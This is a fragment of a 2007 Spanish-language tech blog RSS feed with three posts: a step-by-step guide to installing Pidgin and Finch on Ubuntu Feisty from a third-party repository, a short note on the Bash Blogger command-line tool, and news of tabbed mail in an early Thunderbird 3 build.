			<content:encoded><![CDATA[<p>Ubuntu Feisty por default viene con gaim2.0.0-beta6  , bastante , bueno pero no la ultima version por lejos.  Hoy por hoy no existe mas gaim , el projecto tuvo que cambiar de nombre por cuestiones legales y ahora se llama pidgin y la librerias tambien cambiaron de nombre para mas informacion <a href="http://www.pidgin.im"> Sitio Oficial </a>.  Todo esto se desencadeno debido a que queria psarle un archivo a Joge , por gtalk y cuando no pude ,  me dijo que estaba usando la version web y yo le dije que hacia que no estaba usando gaim o pidgin. y me dijo que no sabia que podia configurarlos en gaim. ( Cierto , a menos que uno sepa que el protocolo es el mismo que usa jabber y que se puede usar mediante el protocolo de jabber , en conclusion no es obvio con gaim ) Ahora, pidgin , directament tiene una opcion para google talk y tambien nos deja intercambiar archivos y en un futuro se habla de audio/video.  Ahora volviendo al tema ternico que nos afecta. Al principio tuvimos muchos problemas y encontramos que desintastalar gaim no es tan simple ya que supuestamente te pide que tenes que desinstalar ubuntu-desktop , ( si cualquiera ).  <a href="http://www.freedomcoder.com.ar/node/57"> continua &#8230; </a> <span id="more-59"></span></p>
<p>Ahora , buscando y buscando encontre que hay un repositorio de debs para pidgin y sus paquetes. Aqui les dejo un pequeno how-to de como instalarlo. </p>
<p>La forma rapida copiar y pegar esto en una consola y listo:</p>
<table cellpadding="0" cellspacing="0"  style="background-color: #f2fff2; border: solid 1px #bfffbf;">
<tr>
<td style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;">
			<font size="-1"><b>Console:</b> system terminal </font>
		</td>
</tr>
<tr>
<td>
<pre>
...
sudo sh -c 'echo "# Pidgin for Ubuntu Feisty Fawn
deb http://falcon.landure.fr feisty pidgin
deb-src http://falcon.landure.fr feisty pidgin" > /etc/apt/sources.list.d/feisty-landure-pidgin.list'
wget http://falcon.landure.fr/9FA7DC39.gpg -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get -y install pidgin pidgin-blinklight pidgin-encryption pidgin-extprefs pidgin-otr

...
</pre>
</td>
</tr>
</table>
<p>y Ahora la forma facil, un poco mas larga y mejor explicada:</p>
<table cellpadding="0" cellspacing="0"  style="background-color: #f2fff2; border: solid 1px #bfffbf;">
<tr>
<td style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;">
			<font size="-1"><b>Console:</b> system terminal : bajar el repositorio</font>
		</td>
</tr>
<tr>
<td>
<pre>
# sudo sh -c 'echo "# Pidgin for Ubuntu Feisty Fawn
# deb http://falcon.landure.fr feisty pidgin
# deb-src http://falcon.landure.fr feisty pidgin" > /etc/apt/sources.list.d/feisty-landure-pidgin.list'
</pre>
</td>
</tr>
</table>
<p>Luego, con un wget bajamos la clave publica del repositorio para poder validarlo</p>
<table cellpadding="0" cellspacing="0"  style="background-color: #f2fff2; border: solid 1px #bfffbf;">
<tr>
<td style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;">
			<font size="-1"><b>Console:</b> system terminal : bajar el repositorio</font>
		</td>
</tr>
<tr>
<td>
<pre>
# wget http://falcon.landure.fr/9FA7DC39.gpg -O- | sudo apt-key add -
</pre>
</td>
</tr>
</table>
<p>Ahora , hacemos un update de las lista que tenemos</p>
<table cellpadding="0" cellspacing="0"  style="background-color: #f2fff2; border: solid 1px #bfffbf;">
<tr>
<td style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;">
			<font size="-1"><b>Console:</b> system terminal : updateando la lista de paquetes</font>
		</td>
</tr>
<tr>
<td>
<pre>
# sudo apt-get update
</pre>
</td>
</tr>
<p><br/></p>
</table>
<p>Ahora, podemos finalmente instalar los paquetes</p>
<table cellpadding="0" cellspacing="0"  style="background-color: #f2fff2; border: solid 1px #bfffbf;">
<tr>
<td style="background-color: #c1ffc1; border: solid 1px #a0ffa0; border-bottom: 1px solid #888;">
			<font size="-1"><b>Console:</b> system terminal : apt-get de paquetes</font>
		</td>
</tr>
<tr>
<td>
<pre>
# sudo apt-get install pidgin pidgin-blinklight pidgin-encryption pidgin-extprefs pidgin-otr
</pre>
</td>
</tr>
</table>
<p>Espero que les sirva y disfruten su nuevo pidgin.<br />
UPDATE:<br />
AHora , se preguntaran porque le modifque el titulo a  Pidgin/Finch , bueno finch es una version de pidgin que corren en ncurses y es para cuando no tenemos X pero queremos seguir usando nuestros queridos protocolos. digamos que es una competencia de centericq. Bueno pruebenlo esta bueno antes les rescomiendo que hagan un <strong> man finch </strong> , ya que por desgracia no es tan facil usarlo tiene muchas combinaciones alt +  que hay que darle un vistazo antes.<br />
<center><br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_width = 234;
google_ad_height = 60;
google_ad_format = "234x60_as";
google_cpa_choice = "CAEQhoWU2AMaCJYGmzqVJv8PKNrAvuYB";
//-->
</script><br />
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
</center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/07/01/pidginfinch-en-ubuntu-feisty-fawn/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>blogeando desde la consola</title>
		<link>http://www.freedomcoder.com.ar/2007/06/29/blogeando-desde-la-consola/</link>
		<comments>http://www.freedomcoder.com.ar/2007/06/29/blogeando-desde-la-consola/#comments</comments>
		<pubDate>Fri, 29 Jun 2007 17:29:53 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/06/29/blogeando-desde-la-consola</guid>
		<description><![CDATA[Bash Blogger, es una peque?a aplicaci?n que nos permite administrar nuestro blogs o postear en blogs desde la consola, se preguntaran pero como para que quiero esto si tengo mi navegador y bueno siempre estan los pibes como mi buen amigo keygod , fan?ticos de la consola que bueno les gusta este tipo de cosas.  Mantener un sitio es b?sicamente agregar contenido y alguna que otra cosa, bash scripting b?sicamente nos permite automatizar tareas y digamos que postear en nuestro blog es una tarea bastante rutinaria, entonces porque no automatizarlo como el resto de nuestras tareas.  El desarrollador explica tambi?n que lo hizo en bash shell y no en otro lenguage debido a que si eleg?a un lenguaje en particular pudieras no tenerlo , como ser perl , python , ruby , etc. Yo creo que podr?amos decir , mira no uso bash y no lo instalo pero si tengo python o perl en mi distro por default pero gustos son gustos.  Pero si tenemos una consola remota seguroq ue podemos acceder a bash scripting siendo que talves no tenemos acceso a una vm de python o ruby para ejecutar. 
Bueno aqui les dejo el link de <a href="http://bashblogger.grimthing.com/">bash blogger </a> y espero que lo prueben y les guste, keygod seguro que para cuando llegue a estas lineas ya se lo habra bajado e instalado. 
<center><img src="http://kernelsource.org/wp-content/uploads/2007/06/bashblogger.png"></center>]]></description>
			<content:encoded><![CDATA[<p>Bash Blogger, es una peque?a aplicaci?n que nos permite administrar nuestro blogs o postear en blogs desde la consola, se preguntaran pero como para que quiero esto si tengo mi navegador y bueno siempre estan los pibes como mi buen amigo keygod , fan?ticos de la consola que bueno les gusta este tipo de cosas.  Mantener un sitio es b?sicamente agregar contenido y alguna que otra cosa, bash scripting b?sicamente nos permite automatizar tareas y digamos que postear en nuestro blog es una tarea bastante rutinaria, entonces porque no automatizarlo como el resto de nuestras tareas.  El desarrollador explica tambi?n que lo hizo en bash shell y no en otro lenguage debido a que si eleg?a un lenguaje en particular pudieras no tenerlo , como ser perl , python , ruby , etc. Yo creo que podr?amos decir , mira no uso bash y no lo instalo pero si tengo python o perl en mi distro por default pero gustos son gustos.  Pero si tenemos una consola remota seguroq ue podemos acceder a bash scripting siendo que talves no tenemos acceso a una vm de python o ruby para ejecutar.<br />
Bueno aqui les dejo el link de <a href="http://bashblogger.grimthing.com/">bash blogger </a> y espero que lo prueben y les guste, keygod seguro que para cuando llegue a estas lineas ya se lo habra bajado e instalado.<br />
<center><img src="http://kernelsource.org/wp-content/uploads/2007/06/bashblogger.png"></center><span id="more-57"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/06/29/blogeando-desde-la-consola/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Thunderbird 3.0 con Tabs</title>
		<link>http://www.freedomcoder.com.ar/2007/06/29/thunderbird-30-con-tabs/</link>
		<comments>http://www.freedomcoder.com.ar/2007/06/29/thunderbird-30-con-tabs/#comments</comments>
		<pubDate>Fri, 29 Jun 2007 03:37:27 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2007/06/29/thunderbird-30-con-tabs</guid>
		<description><![CDATA[<p>El soporte de pesta?as, uno de los mejores inventos de los que disponemos hoy en casi todo navegador que se precie, recientemente <a href="http://blog.mozilla.com/bienvenu/2007/06/27/initial-support-for-tabbed-e-mail-in-todays-trunkbuild/">ha sido incluido</a> en el cliente de correo Mozilla Thunderbird. La idea consiste en que podamos abrir las diferentes noticias o correos electr?nicos, en otras pesta?as al igual que hacemos con varias p?ginas web en nuestro navegador.</p>
<p><img class="center" src='http://kernelsource.org/wp-content/uploads/2007/06/thunderbird_tabs.png' alt='Soporte de pesta?as en Thunderbird' /></p>
<p>Como se puede ver en la captura en una pesta?a aparece las fuentes de noticias y las carpetas, junto con dos pesta?as que corresponden a las dos noticias le?das. Aunque de momento est? en un estado muy inicial de desarrollo e inestable para ser usado en producci?n, sin duda esta ser? una de las funcionalidades m?s celebradas del pr?ximo Thunderbird 3.</p>
<p>V?a: <a href="http://mozillalinks.org/wp/2007/06/thunderbird-earns-its-tabs/">Mozilla Links</a></p>

Noticias Extraida de <a href="http://www.kernelsource.org">KernelSource.org</a>
]]></description>
			<content:encoded><![CDATA[<p>El soporte de pesta?as, uno de los mejores inventos de los que disponemos hoy en casi todo navegador que se precie, recientemente <a href="http://blog.mozilla.com/bienvenu/2007/06/27/initial-support-for-tabbed-e-mail-in-todays-trunkbuild/">ha sido incluido</a> en el cliente de correo Mozilla Thunderbird. La idea consiste en que podamos abrir las diferentes noticias o correos electr?nicos, en otras pesta?as al igual que hacemos con varias p?ginas web en nuestro navegador.</p>
<p><img class="center" src='http://kernelsource.org/wp-content/uploads/2007/06/thunderbird_tabs.png' alt='Soporte de pesta?as en Thunderbird' /></p>
<p>Como se puede ver en la captura en una pesta?a aparece las fuentes de noticias y las carpetas, junto con dos pesta?as que corresponden a las dos noticias le?das. Aunque de momento est? en un estado muy inicial de desarrollo e inestable para ser usado en producci?n, sin duda esta ser? una de las funcionalidades m?s celebradas del pr?ximo Thunderbird 3.</p>
<p>V?a: <a href="http://mozillalinks.org/wp/2007/06/thunderbird-earns-its-tabs/">Mozilla Links</a></p>
<p>Noticias Extraida de <a href="http://www.kernelsource.org">KernelSource.org</a><br />
<span id="more-56"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2007/06/29/thunderbird-30-con-tabs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

